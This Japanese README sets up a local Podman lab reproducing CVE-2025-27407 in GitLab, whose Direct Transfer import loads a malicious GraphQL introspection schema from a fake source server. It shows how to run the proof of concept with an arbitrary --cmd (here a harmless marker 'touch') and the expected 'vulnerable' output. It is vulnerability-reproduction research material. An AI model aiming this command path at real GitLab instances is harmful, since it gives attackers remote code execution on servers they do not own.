CVE-2025-27407 GitLab Podman ラボ

GitLab Direct Transfer HTTP パスが脆弱な graphql-ruby イントロスペクションスキーマローダーに到達することを実証するための、最小限のローカル専用ラボです。このラボは1つの脆弱な GitLab CE コンテナを実行します。PoC スクリプトはテスト中のみ、その偽の GitLab ソースサーバーをインプロセスで起動します。

自分が所有するシステム、または明示的にテスト許可を得たシステムに対してのみ実行してください。

ファイル

必要条件

• podman がインストールされた Linux ホスト
• curl
• GitLab および PoC 偽装ソースサーバー用の空きローカルポート
• GitLab Omnibus コンテナに十分な RAM/ディスク容量

デフォルト値:

ラボの起動

ポート 8080 がスクリプトのデフォルトです。他の何かが既に使用している場合は、ここに示すように 18080 を使用します。

cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py

GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up

GitLab を開く:

http://127.0.0.1:18080

ログイン認証情報:

root / Cve27407Password!

root はデフォルトのラボユーザーのみです。PoC トリガーは管理者アカウントを必要としません。宛先名前空間を作成/インポートできる認証済みユーザーであれば、脆弱な Direct Transfer パスにアクセスできます。--username と --password を使用して、管理者以外のユーザーでテストしてください。

PoC の実行

MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"

./poc_host_port_cmd.py \
  --host 127.0.0.1 \
  --port 18080 \
  --listen-port 8001 \
  --wait-seconds 120 \
  --cmd "touch $MARKER"

MARKER="$MARKER" ./lab.sh verify

期待されるシグナル:

[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container

オプション

環境変数の上書き

トラブルシューティング

• 8080 がビジーの場合、./lab.sh up で GITLAB_HTTP_PORT=18080 を使用してください。
• PoC がソースポートをバインドできない場合、--listen-port を未使用のポートに変更してください。
• マーカー検証がバックグラウンドのインポートワーカーと競合する場合、--wait-seconds を増やすか、MARKER="$MARKER" ./lab.sh verify を再実行してください。
• GitLab がまだ準備できていない場合、GITLAB_HTTP_PORT=18080 ./lab.sh wait を再実行してください。
• 以前のラボがスタックしている場合、./lab.sh cleanup を実行してから再開してください。

クリーンアップ

./lab.sh cleanup

これにより、GitLab コンテナ、以前のラボバージョンから残った偽ソースコンテナ、およびラボネットワークが削除されます。ダウンロードされた Podman イメージは削除されません。